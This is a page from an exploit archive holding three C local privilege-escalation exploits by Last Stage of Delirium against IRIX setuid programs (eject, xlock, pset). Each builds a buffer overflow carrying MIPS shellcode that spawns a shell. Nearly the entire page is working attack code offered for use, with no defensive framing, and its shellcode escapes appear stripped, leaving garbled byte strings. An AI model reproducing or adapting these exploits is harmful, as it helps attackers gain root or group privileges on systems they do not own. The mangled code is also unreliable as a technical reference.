[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : IRIX Multiple Buffer Overflow Exploits (LsD)
# Published : 1997-05-25
# Author : LSD-PLaNET
# Previous Title : IRIX /bin/login Local Buffer Overflow Exploit
# Next Title : Solaris 2.5.0/2.5.1 ps & chkey Data Buffer Exploit
/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 2068
#define OFFS 800
#define ADDRS 3
#define ALIGN 0
#define ALIGN2 4
char asmcode[]="x3cx18x2fx62x37x18x69x6ex3cx19x2fx73x37x39x68x2exafxb8xffxf8xafxb9xffxfcxa3xa0xffxffx27xa4xffxf8x27xa5xffxf0x01x60x30x24xafxa4xffxf0xafxa0xffxf4x24x02x04x23x02x04x8dx0c";
char nop[]="x24x0fx12x34";
void run(unsigned char *buf) {
execl("/usr/sbin/eject","lsd",buf,NULL);
printf("execl failedn");
}
char jump[]="x03xa0x10x25x03xe0x00x08x24x0fx12x34x24x0fx12x34";
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes longn", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
printf("Can't mallocn");
exit(1);
}
*(int *)addr=(*(unsigned long(*)())jump)()+offs;
printf("address=%pn",*(int *)addr);
strcpy(buf,nop);
ptr=buf+noplen;
buf+=4-align;
for(i=0;i<bufsize;i++)
*ptr++=nop[i%noplen];
memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
for(i=0;i<(addrs<<2);i++)
*ptr++=addr[i%sizeof(int)];
*ptr=0;
printf("buflen=%dn", strlen(buf));
fflush(stdout);
ptr-=addrs<<2;
*(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2;
for(i=0;i<64;i++)
*ptr++=addr[i&3];
/* gp value is set here */
ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24;
*(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412;
for(i=0;i<64;i++)
*ptr++=addr[i&3];
run(buf);
}
------------------------------------------------------------------------------------
/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 2072
#define OFFS (800+512+128)
#define ADDRS 0x100
#define ALIGN 2
char asmcode[]="x3cx18x2fx62x37x18x69x6ex3cx19x2fx73x37x39x68x2exafxb8xffxf8xafxb9xffxfcxa3xa0xffxffx27xa4xffxf8x27xa5xffxf0x01x60x30x24xafxa4xffxf0xafxa0xffxf4x24x02x04x23x02x04x8dx0c";
char nop[]="x24x0fx12x34";
void run(unsigned char *buf) {
execl("/usr/bin/X11/xlock","lsd","-name",buf,NULL);
printf("execl failedn");
}
char jump[]="x03xa0x10x25x03xe0x00x08x24x0fx12x34x24x0fx12x34";
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes longn", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
printf("Can't mallocn");
exit(1);
}
*(int *)addr=(*(unsigned long(*)())jump)()+offs;
printf("address=%pn",*(int *)addr);
strcpy(buf,nop);
ptr=buf+noplen;
buf+=4-align;
for(i=0;i<bufsize;i++)
*ptr++=nop[i%noplen];
memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
for(i=0;i<(addrs<<2);i++)
*ptr++=addr[i%sizeof(int)];
*ptr=0;
printf("buflen=%dn",strlen(buf));
fflush(stdout);
/* gp value is set here */
ptr=buf+ALIGN+(0x7fff22c0-0x7fff1ea0);
*(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff3828-0x7fff3468)+32476;
for(i=0;i<4;i++)
*ptr++=addr[i&3];
run(buf);
}
------------------------------------------------------------------------------------
/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/
/* This one gives you egid=0(sys) */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define BUFSIZE 4172
#define OFFS 816
#define ADDRS 8
#define ALIGN 3
#define ALIGN2 1
char asmcode[]="x3cx18x2fx62x37x18x69x6ex3cx19x2fx73x37x39x68x2exafxb8xffxf8xafxb9xffxfcxa3xa0xffxffx27xa4xffxf8x27xa5xffxf0x01x60x30x24xafxa4xffxf0xafxa0xffxf4x24x02x04x23x02x04x8dx0c";
/*
char nop[]="x24x0fx12x34";
*/
char nop[]="x01x20x48x25";
void run(unsigned char *buf) {
execl("/sbin/pset","lsd","-s","666",buf,NULL);
printf("execl failedn");
}
char jump[]="x03xa0x10x25x03xe0x00x08x24x0fx12x34x24x0fx12x34";
/*
unsigned long get_sp(void) {
__asm__("or $2,$sp,$0");
}
*/
main(int argc, char *argv[]) {
char *buf, *ptr, addr[8];
int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
int i, noplen=strlen(nop);
if (argc >1) bufsize=atoi(argv[1]);
if (argc >2) offs=atoi(argv[2]);
if (argc >3) addrs=atoi(argv[3]);
if (argc >4) align=atoi(argv[4]);
if (bufsize<strlen(asmcode)) {
printf("bufsize too small, code is %d bytes longn", strlen(asmcode));
exit(1);
}
if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
printf("Can't mallocn");
exit(1);
}
*(int *)addr=(*(unsigned long(*)())jump)()+offs;
printf("address=%pn", *(int *)addr);
strcpy(buf,nop);
ptr=buf+noplen;
buf+=align;
for(i=0;i<bufsize;i++)
*ptr++=nop[i%noplen];
memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
for(i=0;i<ALIGN2;i++)
*ptr++=nop[i%noplen];
for(i=0;i<(addrs<<2);i++)
*ptr++=addr[i%sizeof(int)];
*ptr=0;
printf("buflen=%dn", strlen(buf));
fflush(stdout);
run(buf);
}
// www.Syue.com [1997-05-25]